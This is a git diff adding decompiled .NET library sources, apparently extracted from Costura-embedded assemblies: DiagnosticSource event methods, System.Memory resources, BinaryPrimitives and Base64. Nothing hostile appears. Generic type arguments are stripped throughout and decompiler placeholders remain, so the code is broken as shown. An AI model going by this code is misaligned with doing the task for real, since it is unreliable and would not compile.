(Object)Arguments + }); + } + + [Event(/*Could not decode attribute arguments.*/)] + private void EventJson(string SourceName, string EventName, string ArgmentsJson) + { + ((EventSource)this).WriteEvent(3, SourceName, EventName, ArgmentsJson); + } + + [Event(/*Could not decode attribute arguments.*/)] + private void Activity1Start(string SourceName, string EventName, IEnumerable> Arguments) + { + ((EventSource)this).WriteEvent(4, (object[])(object)new Object[3] + { + (Object)SourceName, + (Object)EventName, + (Object)Arguments + }); + } + + [Event(/*Could not decode attribute arguments.*/)] + private void Activity1Stop(string SourceName, string EventName, IEnumerable> Arguments) + { + ((EventSource)this).WriteEvent(5, (object[])(object)new Object[3] + { + (Object)SourceName, + (Object)EventName, + (Object)Arguments + }); + } + + [Event(/*Could not decode attribute arguments.*/)] + private void Activity2Start(string SourceName, string EventName, IEnumerable> Arguments) + { + ((EventSource)this).WriteEvent(6, (object[])(object)new Object[3] + { + (Object)SourceName, + (Object)EventName, + (Object)Arguments + }); + } + + [Event(/*Could not decode attribute arguments.*/)] + private void Activity2Stop(string SourceName, string EventName, IEnumerable> Arguments) + { + ((EventSource)this).WriteEvent(7, (object[])(object)new Object[3] + { + (Object)SourceName, + (Object)EventName, + (Object)Arguments + }); + } + + [Event(/*Could not decode attribute arguments.*/)] + private void RecursiveActivity1Start(string SourceName, string EventName, IEnumerable> Arguments) + { + ((EventSource)this).WriteEvent(8, (object[])(object)new Object[3] + { + (Object)SourceName, + (Object)EventName, + (Object)Arguments + }); + } + + [Event(/*Could not decode attribute arguments.*/)] + private void RecursiveActivity1Stop(string SourceName, string EventName, IEnumerable> Arguments) + { + ((EventSource)this).WriteEvent(9, (object[])(object)new Object[3] + { + (Object)SourceName, + (Object)EventName, + (Object)Arguments + }); + } + + [Event(/*Could not decode attribute arguments.*/)] + private void NewDiagnosticListener(string SourceName) + { + ((EventSource)this).WriteEvent(10, SourceName); + } + + private DiagnosticSourceEventSource() + : base((EventSourceSettings)8) + { + } + + [NonEvent] + protected override void OnEventCommand(EventCommandEventArgs command) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Invalid comparison between Unknown and I4 + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + //IL_00a8: Invalid comparison between Unknown and I4 + BreakPointWithDebuggerFuncEval(); + lock (this) + { + if (((int)command.Command == 0 || (int)command.Command == -2) && ((EventSource)this).IsEnabled((EventLevel)4, (EventKeywords)2)) + { + string text = default(string); + command.Arguments.TryGetValue("FilterAndPayloadSpecs", ref text); + if (!((EventSource)this).IsEnabled((EventLevel)4, (EventKeywords)2048)) + { + if (((EventSource)this).IsEnabled((EventLevel)4, (EventKeywords)4096)) + { + text = NewLineSeparate(text, AspNetCoreHostingKeywordValue); + } + if (((EventSource)this).IsEnabled((EventLevel)4, (EventKeywords)8192)) + { + text = NewLineSeparate(text, EntityFrameworkCoreCommandsKeywordValue); + } + } + FilterAndTransform.CreateFilterAndTransformList(ref _specs, text, this); + } + else if ((int)command.Command == 0 || (int)command.Command == -3) + { + FilterAndTransform.DestroyFilterAndTransformList(ref _specs); + } + } + } + + private static string NewLineSeparate(string str1, string str2) + { + if (String.IsNullOrEmpty(str1)) + { + return str2; + } + return String.Concat(str1, "\n", str2); + } + + [MethodImpl((MethodImplOptions)72)] + [NonEvent] + private void BreakPointWithDebuggerFuncEval() + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + new Object(); + while (_false) + { + _false = false; + } + } +} diff --git a/decompiled/Libraries/system.diagnostics.diagnosticsource/costura.system.diagnostics.diagnosticsource.csproj b/decompiled/Libraries/system.diagnostics.diagnosticsource/costura.system.diagnostics.diagnosticsource.csproj new file mode 100644 index 0000000..c46a452 --- /dev/null +++ b/decompiled/Libraries/system.diagnostics.diagnosticsource/costura.system.diagnostics.diagnosticsource.csproj @@ -0,0 +1,26 @@ + + + System.Diagnostics.DiagnosticSource + False + net40 + + + 14.0 + True + False + + + + + + + ../../../../../../../usr/local/share/dotnet/shared/Microsoft.NETCore.App/10.0.5/System.Reflection.dll + + + ../../../../../../../usr/local/share/dotnet/shared/Microsoft.NETCore.App/10.0.5/System.Collections.dll + + + ../../../../../../../usr/local/share/dotnet/shared/Microsoft.NETCore.App/10.0.5/System.Threading.dll + + + \ No newline at end of file diff --git a/decompiled/Libraries/system.memory/.DS_Store b/decompiled/Libraries/system.memory/.DS_Store new file mode 100644 index 0000000..fccc872 Binary files /dev/null and b/decompiled/Libraries/system.memory/.DS_Store differ diff --git a/decompiled/Libraries/system.memory/FxResources.System.Memory.SR.resx b/decompiled/Libraries/system.memory/FxResources.System.Memory.SR.resx new file mode 100644 index 0000000..7035fc7 --- /dev/null +++ b/decompiled/Libraries/system.memory/FxResources.System.Memory.SR.resx @@ -0,0 +1,43 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089Characters following the format symbol must be a number of {0} or less. + Unexpected segment type. + The 'G' format combined with a precision is not supported. + Release all references before disposing this instance. + Precision cannot be larger than {0}. + Memory<T> has been disposed. + Format specifier was invalid. + Overlapping spans have mismatching alignment. + Destination is too short. + GetHashCode() on Span and ReadOnlySpan is not supported. + End position was not reached during enumeration. + Equals() on Span and ReadOnlySpan is not supported. Use operator== instead. + Cannot use type '{0}'. Only value types without pointers or references are supported. + \ No newline at end of file diff --git a/decompiled/Libraries/system.memory/FxResources.System.Memory/SR.cs b/decompiled/Libraries/system.memory/FxResources.System.Memory/SR.cs new file mode 100644 index 0000000..45151a1 --- /dev/null +++ b/decompiled/Libraries/system.memory/FxResources.System.Memory/SR.cs @@ -0,0 +1,5 @@ +namespace FxResources.System.Memory; + +internal static class SR +{ +} diff --git a/decompiled/Libraries/system.memory/Properties/AssemblyInfo.cs b/decompiled/Libraries/system.memory/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..a64837b --- /dev/null +++ b/decompiled/Libraries/system.memory/Properties/AssemblyInfo.cs @@ -0,0 +1,24 @@ +using System; +using System.Diagnostics; +using System.Reflection; +using System.Resources; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Security; +using System.Security.Permissions; + +[assembly: NeutralResourcesLanguage("en-US")] +[assembly: AssemblyTitle("System.Memory")] +[assembly: AssemblyDescription("System.Memory")] +[assembly: AssemblyDefaultAlias("System.Memory")] +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyProduct("Microsoft® .NET Framework")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyFileVersion("4.6.31308.01")] +[assembly: AssemblyInformationalVersion("4.6.31308.01 @BuiltBy: cloudtest-841353dfc000000 @Branch: release/2.1-MSRC @SrcCode: https://github.com/dotnet/corefx/tree/32b491939fbd125f304031c35038b1e14b4e3958")] +[assembly: CLSCompliant(true)] +[assembly: AssemblyMetadata(".NETFrameworkAssembly", "")] +[assembly: AssemblyMetadata("Serviceable", "True")] +[assembly: AssemblyMetadata("PreferInbox", "True")] +[assembly: DefaultDllImportSearchPaths(DllImportSearchPath.System32 | DllImportSearchPath.AssemblyDirectory)] +[assembly: AssemblyVersion("4.0.1.2")] diff --git a/decompiled/Libraries/system.memory/System.Buffers.Binary/BinaryPrimitives.cs b/decompiled/Libraries/system.memory/System.Buffers.Binary/BinaryPrimitives.cs new file mode 100644 index 0000000..0876b6d --- /dev/null +++ b/decompiled/Libraries/system.memory/System.Buffers.Binary/BinaryPrimitives.cs @@ -0,0 +1,589 @@ +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +namespace System.Buffers.Binary; + +public static class BinaryPrimitives +{ + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [CLSCompliant(false)] + public static sbyte ReverseEndianness(sbyte value) + { + return value; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static short ReverseEndianness(short value) + { + return (short)(((value & 0xFF) << 8) | ((value & 0xFF00) >> 8)); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int ReverseEndianness(int value) + { + return (int)ReverseEndianness((uint)value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static long ReverseEndianness(long value) + { + return (long)ReverseEndianness((ulong)value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static byte ReverseEndianness(byte value) + { + return value; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [CLSCompliant(false)] + public static ushort ReverseEndianness(ushort value) + { + return (ushort)((value >> 8) + (value << 8)); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [CLSCompliant(false)] + public static uint ReverseEndianness(uint value) + { + uint num = value & 0xFF00FF; + uint num2 = value & 0xFF00FF00u; + return ((num >> 8) | (num << 24)) + ((num2 << 8) | (num2 >> 24)); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [CLSCompliant(false)] + public static ulong ReverseEndianness(ulong value) + { + return ((ulong)ReverseEndianness((uint)value) << 32) + ReverseEndianness((uint)(value >> 32)); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static short ReadInt16BigEndian(ReadOnlySpan source) + { + short num = MemoryMarshal.Read(source); + if (BitConverter.IsLittleEndian) + { + num = ReverseEndianness(num); + } + return num; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int ReadInt32BigEndian(ReadOnlySpan source) + { + int num = MemoryMarshal.Read(source); + if (BitConverter.IsLittleEndian) + { + num = ReverseEndianness(num); + } + return num; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static long ReadInt64BigEndian(ReadOnlySpan source) + { + long num = MemoryMarshal.Read(source); + if (BitConverter.IsLittleEndian) + { + num = ReverseEndianness(num); + } + return num; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [CLSCompliant(false)] + public static ushort ReadUInt16BigEndian(ReadOnlySpan source) + { + ushort num = MemoryMarshal.Read(source); + if (BitConverter.IsLittleEndian) + { + num = ReverseEndianness(num); + } + return num; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [CLSCompliant(false)] + public static uint ReadUInt32BigEndian(ReadOnlySpan source) + { + uint num = MemoryMarshal.Read(source); + if (BitConverter.IsLittleEndian) + { + num = ReverseEndianness(num); + } + return num; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [CLSCompliant(false)] + public static ulong ReadUInt64BigEndian(ReadOnlySpan source) + { + ulong num = MemoryMarshal.Read(source); + if (BitConverter.IsLittleEndian) + { + num = ReverseEndianness(num); + } + return num; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool TryReadInt16BigEndian(ReadOnlySpan source, out short value) + { + bool result = MemoryMarshal.TryRead(source, out value); + if (BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + return result; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool TryReadInt32BigEndian(ReadOnlySpan source, out int value) + { + bool result = MemoryMarshal.TryRead(source, out value); + if (BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + return result; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool TryReadInt64BigEndian(ReadOnlySpan source, out long value) + { + bool result = MemoryMarshal.TryRead(source, out value); + if (BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + return result; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [CLSCompliant(false)] + public static bool TryReadUInt16BigEndian(ReadOnlySpan source, out ushort value) + { + bool result = MemoryMarshal.TryRead(source, out value); + if (BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + return result; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [CLSCompliant(false)] + public static bool TryReadUInt32BigEndian(ReadOnlySpan source, out uint value) + { + bool result = MemoryMarshal.TryRead(source, out value); + if (BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + return result; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [CLSCompliant(false)] + public static bool TryReadUInt64BigEndian(ReadOnlySpan source, out ulong value) + { + bool result = MemoryMarshal.TryRead(source, out value); + if (BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + return result; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static short ReadInt16LittleEndian(ReadOnlySpan source) + { + short num = MemoryMarshal.Read(source); + if (!BitConverter.IsLittleEndian) + { + num = ReverseEndianness(num); + } + return num; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int ReadInt32LittleEndian(ReadOnlySpan source) + { + int num = MemoryMarshal.Read(source); + if (!BitConverter.IsLittleEndian) + { + num = ReverseEndianness(num); + } + return num; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static long ReadInt64LittleEndian(ReadOnlySpan source) + { + long num = MemoryMarshal.Read(source); + if (!BitConverter.IsLittleEndian) + { + num = ReverseEndianness(num); + } + return num; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [CLSCompliant(false)] + public static ushort ReadUInt16LittleEndian(ReadOnlySpan source) + { + ushort num = MemoryMarshal.Read(source); + if (!BitConverter.IsLittleEndian) + { + num = ReverseEndianness(num); + } + return num; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [CLSCompliant(false)] + public static uint ReadUInt32LittleEndian(ReadOnlySpan source) + { + uint num = MemoryMarshal.Read(source); + if (!BitConverter.IsLittleEndian) + { + num = ReverseEndianness(num); + } + return num; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [CLSCompliant(false)] + public static ulong ReadUInt64LittleEndian(ReadOnlySpan source) + { + ulong num = MemoryMarshal.Read(source); + if (!BitConverter.IsLittleEndian) + { + num = ReverseEndianness(num); + } + return num; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool TryReadInt16LittleEndian(ReadOnlySpan source, out short value) + { + bool result = MemoryMarshal.TryRead(source, out value); + if (!BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + return result; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool TryReadInt32LittleEndian(ReadOnlySpan source, out int value) + { + bool result = MemoryMarshal.TryRead(source, out value); + if (!BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + return result; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool TryReadInt64LittleEndian(ReadOnlySpan source, out long value) + { + bool result = MemoryMarshal.TryRead(source, out value); + if (!BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + return result; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [CLSCompliant(false)] + public static bool TryReadUInt16LittleEndian(ReadOnlySpan source, out ushort value) + { + bool result = MemoryMarshal.TryRead(source, out value); + if (!BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + return result; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [CLSCompliant(false)] + public static bool TryReadUInt32LittleEndian(ReadOnlySpan source, out uint value) + { + bool result = MemoryMarshal.TryRead(source, out value); + if (!BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + return result; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [CLSCompliant(false)] + public static bool TryReadUInt64LittleEndian(ReadOnlySpan source, out ulong value) + { + bool result = MemoryMarshal.TryRead(source, out value); + if (!BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + return result; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void WriteInt16BigEndian(Span destination, short value) + { + if (BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + MemoryMarshal.Write(destination, ref value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void WriteInt32BigEndian(Span destination, int value) + { + if (BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + MemoryMarshal.Write(destination, ref value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void WriteInt64BigEndian(Span destination, long value) + { + if (BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + MemoryMarshal.Write(destination, ref value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [CLSCompliant(false)] + public static void WriteUInt16BigEndian(Span destination, ushort value) + { + if (BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + MemoryMarshal.Write(destination, ref value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [CLSCompliant(false)] + public static void WriteUInt32BigEndian(Span destination, uint value) + { + if (BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + MemoryMarshal.Write(destination, ref value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [CLSCompliant(false)] + public static void WriteUInt64BigEndian(Span destination, ulong value) + { + if (BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + MemoryMarshal.Write(destination, ref value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool TryWriteInt16BigEndian(Span destination, short value) + { + if (BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + return MemoryMarshal.TryWrite(destination, ref value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool TryWriteInt32BigEndian(Span destination, int value) + { + if (BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + return MemoryMarshal.TryWrite(destination, ref value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool TryWriteInt64BigEndian(Span destination, long value) + { + if (BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + return MemoryMarshal.TryWrite(destination, ref value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [CLSCompliant(false)] + public static bool TryWriteUInt16BigEndian(Span destination, ushort value) + { + if (BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + return MemoryMarshal.TryWrite(destination, ref value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [CLSCompliant(false)] + public static bool TryWriteUInt32BigEndian(Span destination, uint value) + { + if (BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + return MemoryMarshal.TryWrite(destination, ref value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [CLSCompliant(false)] + public static bool TryWriteUInt64BigEndian(Span destination, ulong value) + { + if (BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + return MemoryMarshal.TryWrite(destination, ref value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void WriteInt16LittleEndian(Span destination, short value) + { + if (!BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + MemoryMarshal.Write(destination, ref value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void WriteInt32LittleEndian(Span destination, int value) + { + if (!BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + MemoryMarshal.Write(destination, ref value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void WriteInt64LittleEndian(Span destination, long value) + { + if (!BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + MemoryMarshal.Write(destination, ref value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [CLSCompliant(false)] + public static void WriteUInt16LittleEndian(Span destination, ushort value) + { + if (!BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + MemoryMarshal.Write(destination, ref value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [CLSCompliant(false)] + public static void WriteUInt32LittleEndian(Span destination, uint value) + { + if (!BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + MemoryMarshal.Write(destination, ref value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [CLSCompliant(false)] + public static void WriteUInt64LittleEndian(Span destination, ulong value) + { + if (!BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + MemoryMarshal.Write(destination, ref value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool TryWriteInt16LittleEndian(Span destination, short value) + { + if (!BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + return MemoryMarshal.TryWrite(destination, ref value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool TryWriteInt32LittleEndian(Span destination, int value) + { + if (!BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + return MemoryMarshal.TryWrite(destination, ref value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool TryWriteInt64LittleEndian(Span destination, long value) + { + if (!BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + return MemoryMarshal.TryWrite(destination, ref value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [CLSCompliant(false)] + public static bool TryWriteUInt16LittleEndian(Span destination, ushort value) + { + if (!BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + return MemoryMarshal.TryWrite(destination, ref value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [CLSCompliant(false)] + public static bool TryWriteUInt32LittleEndian(Span destination, uint value) + { + if (!BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + return MemoryMarshal.TryWrite(destination, ref value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + [CLSCompliant(false)] + public static bool TryWriteUInt64LittleEndian(Span destination, ulong value) + { + if (!BitConverter.IsLittleEndian) + { + value = ReverseEndianness(value); + } + return MemoryMarshal.TryWrite(destination, ref value); + } +} diff --git a/decompiled/Libraries/system.memory/System.Buffers.Text/Base64.cs b/decompiled/Libraries/system.memory/System.Buffers.Text/Base64.cs new file mode 100644 index 0000000..6495288 --- /dev/null +++ b/decompiled/Libraries/system.memory/System.Buffers.Text/Base64.cs @@ -0,0 +1,421 @@ +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +namespace System.Buffers.Text; + +public static class Base64 +{ + private static readonly sbyte[] s_decodingMap = new sbyte[256] + { + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, + 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, + -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, + 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, + 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, + 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, + 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, + 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, + 49, 50, 51, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1 + }; + + private static readonly byte[] s_encodingMap = new byte[64] + { + 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, + 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, + 85, 86, 87, 88, 89, 90, 97, 98, 99, 100, + 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, + 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, + 121, 122, 48, 49, 50, 51, 52, 53, 54, 55, + 56, 57, 43, 47 + }; + + private const byte EncodingPad = 61; + + private const int MaximumEncodeLength = 1610612733; + + public static OperationStatus DecodeFromUtf8(ReadOnlySpan utf8, Span bytes, out int bytesConsumed, out int bytesWritten, bool isFinalBlock = true) + { + ref byte reference = ref MemoryMarshal.GetReference(utf8); + ref byte reference2 = ref MemoryMarshal.GetReference(bytes); + int num = utf8.Length & -4; + int length = bytes.Length; + int num2 = 0; + int num3 = 0; + if (utf8.Length != 0) + { + ref sbyte reference3 = ref s_decodingMap[0]; + int num4 = (isFinalBlock ? 4 : 0); + int num5 = 0; + num5 = ((length < GetMaxDecodedFromUtf8Length(num)) ? (length / 3 * 4) : (num - num4)); + while (true) + { + if (num2 < num5) + { + int num6 = Decode(ref Unsafe.Add(ref reference, num2), ref reference3); + if (num6 >= 0) + { + WriteThreeLowOrderBytes(ref Unsafe.Add(ref reference2, num3), num6); + num3 += 3; + num2 += 4; + continue; + } + } + else + { + if (num5 != num - num4) + { + goto IL_0205; + } + if (num2 == num) + { + if (!isFinalBlock) + { + bytesConsumed = num2; + bytesWritten = num3; + return OperationStatus.NeedMoreData; + } + } + else + { + int elementOffset = Unsafe.Add(ref reference, num - 4); + int elementOffset2 = Unsafe.Add(ref reference, num - 3); + int num7 = Unsafe.Add(ref reference, num - 2); + int num8 = Unsafe.Add(ref reference, num - 1); + elementOffset = Unsafe.Add(ref reference3, elementOffset); + elementOffset2 = Unsafe.Add(ref reference3, elementOffset2); + elementOffset <<= 18; + elementOffset2 <<= 12; + elementOffset |= elementOffset2; + if (num8 != 61) + { + num7 = Unsafe.Add(ref reference3, num7); + num8 = Unsafe.Add(ref reference3, num8); + num7 <<= 6; + elementOffset |= num8; + elementOffset |= num7; + if (elementOffset >= 0) + { + if (num3 <= length - 3) + { + WriteThreeLowOrderBytes(ref Unsafe.Add(ref reference2, num3), elementOffset); + num3 += 3; + goto IL_01eb; + } + goto IL_0205; + } + } + else if (num7 != 61) + { + num7 = Unsafe.Add(ref reference3, num7); + num7 <<= 6; + elementOffset |= num7; + if (elementOffset >= 0) + { + if (num3 <= length - 2) + { + Unsafe.Add(ref reference2, num3) = (byte)(elementOffset >> 16); + Unsafe.Add(ref reference2, num3 + 1) = (byte)(elementOffset >> 8); + num3 += 2; + goto IL_01eb; + } + goto IL_0205; + } + } + else if (elementOffset >= 0) + { + if (num3 <= length - 1) + { + Unsafe.Add(ref reference2, num3) = (byte)(elementOffset >> 16); + num3++; + goto IL_01eb; + } + goto IL_0205; + } + } + } + goto IL_022b; + IL_01eb: + num2 += 4; + if (num == utf8.Length) + { + break; + } + goto IL_022b; + IL_022b: + bytesConsumed = num2; + bytesWritten = num3; + return OperationStatus.InvalidData; + IL_0205: + if (!(num != utf8.Length && isFinalBlock)) + { + bytesConsumed = num2; + bytesWritten = num3; + return OperationStatus.DestinationTooSmall; + } + goto IL_022b; + } + } + bytesConsumed = num2; + bytesWritten = num3; + return OperationStatus.Done; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static int GetMaxDecodedFromUtf8Length(int length) + { + if (length < 0) + { + System.ThrowHelper.ThrowArgumentOutOfRangeException(System.ExceptionArgument.length); + } + return (length >> 2) * 3; + } + + public static OperationStatus DecodeFromUtf8InPlace(Span buffer, out int bytesWritten) + { + int length = buffer.Length; + int num = 0; + int num2 = 0; + if (length == (length >> 2) * 4) + { + if (length == 0) + { + goto IL_016d; + } + ref byte reference = ref MemoryMarshal.GetReference(buffer); + ref sbyte reference2 = ref s_decodingMap[0]; + while (num < length - 4) + { + int num3 = Decode(ref Unsafe.Add(ref reference, num), ref reference2); + if (num3 >= 0) + { + WriteThreeLowOrderBytes(ref Unsafe.Add(ref reference, num2), num3); + num2 += 3; + num += 4; + continue; + } + goto IL_0172; + } + int elementOffset = Unsafe.Add(ref reference, length - 4); + int elementOffset2 = Unsafe.Add(ref reference, length - 3); + int num4 = Unsafe.Add(ref reference, length - 2); + int num5 = Unsafe.Add(ref reference, length - 1); + elementOffset = Unsafe.Add(ref reference2, elementOffset); + elementOffset2 = Unsafe.Add(ref reference2, elementOffset2); + elementOffset <<= 18; + elementOffset2 <<= 12; + elementOffset |= elementOffset2; + if (num5 != 61) + { + num4 = Unsafe.Add(ref reference2, num4); + num5 = Unsafe.Add(ref reference2, num5); + num4 <<= 6; + elementOffset |= num5; + elementOffset |= num4; + if (elementOffset >= 0) + { + WriteThreeLowOrderBytes(ref Unsafe.Add(ref reference, num2), elementOffset); + num2 += 3; + goto IL_016d; + } + } + else if (num4 != 61) + { + num4 = Unsafe.Add(ref reference2, num4); + num4 <<= 6; + elementOffset |= num4; + if (elementOffset >= 0) + { + Unsafe.Add(ref reference, num2) = (byte)(elementOffset >> 16); + Unsafe.Add(ref reference, num2 + 1) = (byte)(elementOffset >> 8); + num2 += 2; + goto IL_016d; + } + } + else if (elementOffset >= 0) + { + Unsafe.Add(ref reference, num2) = (byte)(elementOffset >> 16); + num2++; + goto IL_016d; + } + } + goto IL_0172; + IL_0172: + bytesWritten = num2; + return OperationStatus.InvalidData; + IL_016d: + bytesWritten = num2; + return OperationStatus.Done; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static int Decode(ref byte encodedBytes, ref sbyte decodingMap) + { + int elementOffset = encodedBytes; + int elementOffset2 = Unsafe.Add(ref encodedBytes, 1); + int elementOffset3 = Unsafe.Add(ref encodedBytes, 2); + int elementOffset4 = Unsafe.Add(ref encodedBytes, 3); + elementOffset = Unsafe.Add(ref decodingMap, elementOffset); + elementOffset2 = Unsafe.Add(ref decodingMap, elementOffset2); + elementOffset3 = Unsafe.Add(ref decodingMap, 